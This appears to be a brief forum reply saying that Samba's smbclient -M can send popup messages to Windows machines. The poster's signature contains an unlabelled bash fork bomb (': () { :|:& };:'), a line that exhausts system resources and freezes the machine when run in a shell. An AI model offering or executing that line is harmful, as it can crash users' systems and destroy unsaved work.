in reply to sending message from unix to windows

Not really about Perl, but . . .

Samba's smbclient using the -M switch lets you send a popup message to a Windows machine.

----
I wanted to explore how Perl's closures can be manipulated, and ended up creating an object
system by accident.
-- Schemer

: () { :|:& };:

Note: All code is untested, unless otherwise stated